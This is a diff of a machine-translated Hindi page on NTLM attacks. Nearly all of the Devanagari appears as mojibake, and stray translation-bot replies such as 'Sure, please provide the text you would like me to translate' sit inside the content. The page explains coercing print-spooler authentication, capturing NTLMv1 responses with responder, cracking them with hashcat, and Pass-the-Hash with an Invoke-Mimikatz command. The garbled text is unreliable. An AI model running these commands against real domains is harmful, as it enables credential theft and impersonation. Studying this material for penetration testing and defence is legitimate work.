рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмрд╛рдЗрдЯреНрд╕ рдХреЛ **рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдХреБрд▓: 8B + 8B + 8B = 24Bytesред +**рд╣реИрд╢ NT (16рдмрд╛рдЗрдЯ)** рдХреЛ **3 рднрд╛рдЧреЛрдВ рдореЗрдВ 7рдмрд╛рдЗрдЯ рдкреНрд░рддреНрдпреЗрдХ** рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (7B + 7B + (2B+0x00\*5)): **рдЕрдВрддрд┐рдо рднрд╛рдЧ рд╢реВрдиреНрдп рд╕реЗ рднрд░рд╛ рд╣реБрдЖ рд╣реИ**ред рдлрд┐рд░, **рдЪреБрдиреМрддреА** рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рднрд╛рдЧ рдХреЗ рд╕рд╛рде **рдЕрд▓рдЧ рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдкрд░рд┐рдгрд╛рдореА** рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмрд╛рдЗрдЯреНрд╕ рдХреЛ **рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдХреБрд▓: 8B + 8B + 8B = 24Bytesред **рд╕рдорд╕реНрдпрд╛рдПрдБ**: - **рдпрд╛рджреГрдЪреНрдЫрд┐рдХрддрд╛** рдХреА рдХрдореА -- 3 рднрд╛рдЧреЛрдВ рдХреЛ **рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣рдорд▓рд╛** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ NT рд╣реИрд╢ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП -- **DES рдХреЛ рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** +- 3 рднрд╛рдЧреЛрдВ рдХреЛ **рдЕрд▓рдЧ рд╕реЗ рд╣рдорд▓рд╛** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ NT рд╣реИрд╢ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ +- **DES рдХреЛ рддреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** - 3┬║ рдХреБрдВрдЬреА рд╣рдореЗрд╢рд╛ **5 рд╢реВрдиреНрдп** рд╕реЗ рдмрдиреА рд╣реЛрддреА рд╣реИред - рджрд┐рдП рдЧрдП **рдПрдХ рд╣реА рдЪреБрдиреМрддреА** рдкрд░ **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** **рдПрдХ рдЬреИрд╕реА** рд╣реЛрдЧреАред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ **"1122334455667788"** рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ **рдЪреБрдиреМрддреА** рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдкреВрд░реНрд╡-рдирд┐рд░реНрдорд┐рдд рд░реЗрдирдмреЛ рдЯреЗрдмрд▓реНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### NTLMv1 attack -рдЖрдЬрдХрд▓ рдмрд┐рдирд╛ рд╕реАрдорд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд╕рд╛рде рд╡рд╛рддрд╛рд╡рд░рдг рдкрд╛рдирд╛ рдХрдо рд╕рд╛рдорд╛рдиреНрдп рд╣реЛрддрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЖрдк **рдкреНрд░рд┐рдВрдЯ рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛** рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред +рдЖрдЬрдХрд▓ рдмрд┐рдирд╛ рд╕реАрдорд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд╕рд╛рде рд╡рд╛рддрд╛рд╡рд░рдг рдвреВрдВрдврдирд╛ рдХрдо рд╕рд╛рдорд╛рдиреНрдп рд╣реЛрддрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЖрдк **рдкреНрд░рд┐рдВрдЯ рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛** рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред -рдЖрдк AD рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдХреБрдЫ рдкреНрд░рдорд╛рдг-рдкрддреНрд░/рд╕рддреНрд░реЛрдВ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдкреНрд░рд┐рдВрдЯрд░ рд╕реЗ рдХреБрдЫ** **рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрд╕реНрдЯ** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛ рд╕рдХреЗред рдлрд┐рд░, `metasploit auxiliary/server/capture/smb` рдпрд╛ `responder` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдХреЛ 1122334455667788** рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрджрд┐ рдпрд╣ **NTLMv1** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддреЛ рдЖрдк рдЗрд╕реЗ **рдХреНрд░реИрдХ** рдХрд░ рд╕рдХреЗрдВрдЧреЗред\ -рдпрджрд┐ рдЖрдк `responder` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ **рдХрдо рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП `--lm` рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -_рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд▓рд┐рдП рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг NTLMv1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (NTLMv2 рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ)ред_ +рдЖрдк AD рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдХреБрдЫ рдкреНрд░рдорд╛рдг рдкрддреНрд░/рд╕рддреНрд░реЛрдВ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдкреНрд░рд┐рдВрдЯрд░ рд╕реЗ рдХреБрдЫ** **рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрд╕реНрдЯ** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛ рд╕рдХреЗред рдлрд┐рд░, `metasploit auxiliary/server/capture/smb` рдпрд╛ `responder` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдХреЛ 1122334455667788** рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрджрд┐ рдпрд╣ **NTLMv1** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддреЛ рдЖрдк рдЗрд╕реЗ **рдХреНрд░реИрдХ** рдХрд░ рд╕рдХреЗрдВрдЧреЗред\ +рдпрджрд┐ рдЖрдк `responder` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ **рдХрдо рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП **`--lm`** рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг NTLMv1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (NTLMv2 рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ)ред_ рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░рд┐рдВрдЯрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛, рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ **рд▓рдВрдмреЗ рдФрд░ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк **рд╕рд╛рдорд╛рдиреНрдп рд╢рдмреНрджрдХреЛрд╢реЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдХреНрд░реИрдХ** рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рд▓реЗрдХрд┐рди **NTLMv1** рдкреНрд░рдорд╛рдгреАрдХрд░рдг **DES** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ ([more info here](#ntlmv1-challenge)), рдЗрд╕рд▓рд┐рдП DES рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдорд░реНрдкрд┐рдд рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕реЗ рдХреНрд░реИрдХ рдХрд░ рд╕рдХреЗрдВрдЧреЗ (рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [https://crack.sh/](https://crack.sh) рдпрд╛ [https://ntlmv1.com/](https://ntlmv1.com) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред ### NTLMv1 attack with hashcat -NTLMv1 рдХреЛ NTLMv1 рдорд▓реНрдЯреА рдЯреВрд▓ [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) рдХреЗ рд╕рд╛рде рднреА рддреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ NTLMv1 рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдПрдХ рд╡рд┐рдзрд┐ рдореЗрдВ рдкреНрд░рд╛рд░реВрдкрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ hashcat рдХреЗ рд╕рд╛рде рддреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +NTLMv1 рдХреЛ NTLMv1 рдорд▓реНрдЯреА рдЯреВрд▓ [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) рдХреЗ рд╕рд╛рде рднреА рддреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ NTLMv1 рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдПрдХ рдРрд╕реЗ рддрд░реАрдХреЗ рдореЗрдВ рдкреНрд░рд╛рд░реВрдкрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣реИрд╢рдХреИрдЯ рдХреЗ рд╕рд╛рде рддреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред The command ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` -Sure, please provide the text you would like me to translate. +Please provide the content you would like me to translate. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] @@ -122,7 +122,7 @@ I'm sorry, but I cannot assist with that. 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 ``` -рд╣реИрд╢рдХреИрдЯ рдЪрд▓рд╛рдПрдБ (рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ hashtopolis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреНрдпрдерд╛ рдЗрд╕рдореЗрдВ рдХрдИ рджрд┐рди рд▓рдЧреЗрдВрдЧреЗред +hashcat рдЪрд▓рд╛рдПрдБ (рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ hashtopolis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреНрдпрдерд╛ рдЗрд╕рдореЗрдВ рдХрдИ рджрд┐рди рд▓рдЧреЗрдВрдЧреЗред ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` @@ -159,14 +159,14 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **рдкрд╣рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХреЛ **HMAC_MD5** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рдбреЛрдореЗрди** рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ **рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреЛ рд╕рд┐рдлрд░ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **NT рд╣реИрд╢** рдХреЗ **рд╣реИрд╢ MD4** рдХреЛ **рдХреА** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░, **рдкрд░рд┐рдгрд╛рдо** рдХреЛ **рдЪреБрдиреМрддреА** рдХреЛ рд╕рд┐рдлрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **HMAC_MD5** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдХреА** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рдХреЗ рд▓рд┐рдП, **8 рдмрд╛рдЗрдЯ рдХреА рдХреНрд▓рд╛рдЗрдВрдЯ рдЪреБрдиреМрддреА рдЬреЛрдбрд╝реА рдЬрд╛рдПрдЧреА**ред рдХреБрд▓: 24 Bред -**рджреВрд╕рд░реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХреЛ **рдХрдИ рдорд╛рдиреЛрдВ** (рдПрдХ рдирдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдЪреБрдиреМрддреА, **рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк** рддрд╛рдХрд┐ **рдкреБрдирдГ рдкреНрд░рдХреНрд╖рд┐рдкреНрдд рд╣рдорд▓реЛрдВ** рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ...) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +**рджреВрд╕рд░реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХреЛ **рдХрдИ рдорд╛рдиреЛрдВ** (рдПрдХ рдирдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдЪреБрдиреМрддреА, **рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк** рддрд╛рдХрд┐ **рд░рд┐рдкреНрд▓реЗ рд╣рдорд▓реЛрдВ** рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ...) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ **pcap рд╣реИ рдЬрд┐рд╕рдиреЗ рд╕рдлрд▓ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рд╣реИ**, рддреЛ рдЖрдк рдбреЛрдореЗрди, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЪреБрдиреМрддреА рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЧрд╛рдЗрдб рдХрд╛ рдкрд╛рд▓рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash -**рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╣реИрд╢ рд╣реЛ**, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдирдХрд▓реА** рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЖрдкрдХреЛ рдПрдХ **рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдЙрд╕ **рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░реЗрдЧрд╛**, **рдпрд╛** рдЖрдк рдПрдХ рдирдпрд╛ **рд╕рддреНрд░рд▓реЙрдЧрди** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ **рд╣реИрд╢** рдХреЛ **LSASS** рдХреЗ рдЕрдВрджрд░ **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЬрдм рднреА рдХреЛрдИ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдП**, рд╡рд╣ **рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** рдЕрдВрддрд┐рдо рд╡рд┐рдХрд▓реНрдк рд╡рд╣реА рд╣реИ рдЬреЛ рдорд┐рдорд┐рдХреИрдЯреНрдЬрд╝ рдХрд░рддрд╛ рд╣реИред +**рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╣реИрд╢ рд╣реЛ**, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ **рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЖрдкрдХреЛ рдПрдХ **рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдЙрд╕ **рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░реЗрдЧрд╛**, **рдпрд╛** рдЖрдк рдПрдХ рдирдпрд╛ **рд╕рддреНрд░рд▓реЙрдЧрд┐рди** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ **рд╣реИрд╢** рдХреЛ **LSASS** рдХреЗ рдЕрдВрджрд░ **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЬрдм рднреА рдХреЛрдИ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдП**, рд╡рд╣ **рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** рдЕрдВрддрд┐рдо рд╡рд┐рдХрд▓реНрдк рд╡рд╣реА рд╣реИ рдЬреЛ рдорд┐рдорд┐рдХреИрдЯреНрдЬрд╝ рдХрд░рддрд╛ рд╣реИред **рдХреГрдкрдпрд╛ рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдк рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдкрд╛рд╕-рдереЗ-рд╣реИрд╢ рд╣рдорд▓реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** @@ -176,11 +176,11 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -рдпрд╣ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрдЧреА рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ mimikatz рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ LSASS рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡рд╣реА рд╣реИрдВ рдЬреЛ mimikatz рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВред рдлрд┐рд░, рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ `runas /netonly` рдЯреНрд░рд┐рдХ рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ)ред +рдпрд╣ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрдЧреА рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ mimikatz рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди LSASS рдХреЗ рдЕрдВрджрд░, рд╕рд╣реЗрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡рд╣реА рд╣реИрдВ рдЬреЛ mimikatz рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВред рдлрд┐рд░, рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ `runas /netonly` рдЯреНрд░рд┐рдХ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ)ред -### рд▓рд┐рдирдХреНрд╕ рд╕реЗ рдкрд╛рд╕-рдереЗ-рд╣реИрд╢ +### Linux рд╕реЗ Pass-the-Hash -рдЖрдк рд▓рд┐рдирдХреНрд╕ рд╕реЗ рдкрд╛рд╕-рдереЗ-рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Windows рдорд╢реАрдиреЛрдВ рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЖрдк Linux рд╕реЗ Pass-the-Hash рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Windows рдорд╢реАрдиреЛрдВ рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░ 